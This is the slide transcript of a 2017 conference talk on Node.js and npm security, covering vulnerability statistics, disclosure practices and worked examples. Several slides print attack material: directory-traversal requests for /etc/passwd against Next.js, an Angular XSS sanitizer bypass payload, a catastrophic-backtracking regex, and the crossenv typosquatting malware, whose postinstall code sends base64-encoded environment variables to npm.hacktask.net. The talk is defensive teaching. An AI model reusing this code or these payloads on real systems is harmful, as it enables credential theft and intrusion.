The State of Node.js Security, at Node.js Interactive 2017

A9a379f2e92c7ded4564190c5b286b78?s=47 Tim Kadlec
October 05, 2017

The State of Node.js Security, at Node.js Interactive 2017

The Node ecosystem is thriving. But the more popular an ecosystem, the more interesting it looks to attackers. Let's look at the current state of security in Node. We'll talk about some of the interesting security improvements in Node in the past year. Drawing on original research, we'll also look at the frequency of vulnerabilities in npm packages, which types of vulnerabilities are the most frequent and the roles that enterprises, package owners and package managers all play in keeping Node.js secure.

A9a379f2e92c7ded4564190c5b286b78?s=128

Tim Kadlec

October 05, 2017
Tweet

Transcript

  1. THE STATE OF NODE SECURITY Tim Kadlec @tkadlec

  2. None
  3. IF YOU CONNECT IT TO THE INTERNET, SOMEONE WILL TRY

    TO HACK IT. Brian Krebs
  4. https:/ /bit.ly/cloudpets

  5. bind_ip = 127.0.0.1

  6. SECURE BY DEFAULT

  7. None
  8. None
  9. THE ENEMY IS OUT THERE. Kim Crayton

  10. None
  11. http:/ /bit.ly/node-sou

  12. 156,000 Package authors

  13. 9 MILLION Different Users

  14. https:/ /bit.ly/npm-2fa

  15. 526 Published Vulns in 2017
 (So Far)

  16. 66% High Severity 32% Medium Severity 2% Low Severity

  17. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service
  18. https:/ /bit.ly/next-vuln

  19. /_next /static

  20. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  21. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  22. defineRoutes () { const routes = { /* ... */

    '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }
  23. export function serveStatic (req, res, path) { return new Promise((resolve,

    reject) => { send(req, path) .on('directory', () => { err.code = 'ENOENT' reject(err) }) .on('error', reject) .pipe(res) .on('finish', resolve) }) }
  24. GET /_next/../../../../../../../../../etc/passwd HTTP/1.1 GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

  25. isServeableUrl (path) { const resolved = resolve(path) if ( resolved.indexOf(join(this.dir,

    this.dist) + sep) !== 0 && resolved.indexOf(join(this.dir, 'static') + sep) !== 0 ) { // Seems like the user is trying to traverse the filesystem. return false } return true }
  26. https:/ /bit.ly/next-fix

  27. 1 Directory Traversal 2 Resources over Insecure Protocol

  28. curl -ocurl-7.34.0.tar.gz http://curl.haxx.se/download/curl-7.34.0.tar.gz

  29. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS)
  30. http:/ /bit.ly/angular-xss

  31. var uriAttrs = toMap("background,cite,href,longdesc,src,xlink:href");

  32. <img src="blah.gif" usemap="#blahmap"> <map name="blahmap"> <area shape="rect" coords="0,0,145,126" a-=">" href="j&#x61;vascript:&#x61;lert(-1)">

    </map>
  33. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS) 4 Malicious Packages
  34. https:/ /bit.ly/malicious-npm

  35. TYPOSQUATTING

  36. None
  37. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <kent@doddsfamily.us> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  38. { "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set

    and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds <kent@doddsfamily.us> (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }
  39. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  40. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  41. const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data

    = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();
  42. https:/ /bit.ly/npm-crossenv

  43. 1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site

    Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service
  44. var regex = /A(B|C+)+D/;

  45. var regex = /A(B|C+)+D/; A

  46. var regex = /A(B|C+)+D/; (B|C+)

  47. var regex = /A(B|C+)+D/; +

  48. var regex = /A(B|C+)+D/; D

  49. var regex = /A(B|C+)+D/; ABBD ABCCCCD ABCBCCCD ACCCCCD

  50. None
  51. None
  52. None
  53. None
  54. ACCCX CCC CC+C C+CC C+C+C var regex = /A(B|C+)+D/;

  55. String Number of C’s Number of Steps ACCCX 3 38

    ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553
  56. http:/ /bit.ly/safe-regex

  57. https:/ /bit.ly/redos-help

  58. Time Risk

  59. Vulnerability discovered Time Risk

  60. Vulnerability discovered Vulnerability announced Time Risk

  61. Vulnerability discovered Vulnerability announced Vulnerability patched Time Risk

  62. Vulnerability discovered Vulnerability announced Vulnerability patched Users begin patching Time

    Risk
  63. 80% No Public Facing Disclosure Policy

  64. https:/ /bit.ly/security-text

  65. 70% Release Notes

  66. 30% Deprecate the Version

  67. 3% Inform a Vulnerability Service

  68. 15% Say They Don’t Bump Dependency Versions

  69. SILVER LINING

  70. YOU

  71. 526 Published Vulns in 2017
 (So Far)

  72. 142 Different People & Organizations

  73. https:/ /bit.ly/malicious-npm

  74. NOT GREAT

  75. NOT GREAT BUT FIXABLE

  76. THANK YOU Tim Kadlec @tkadlec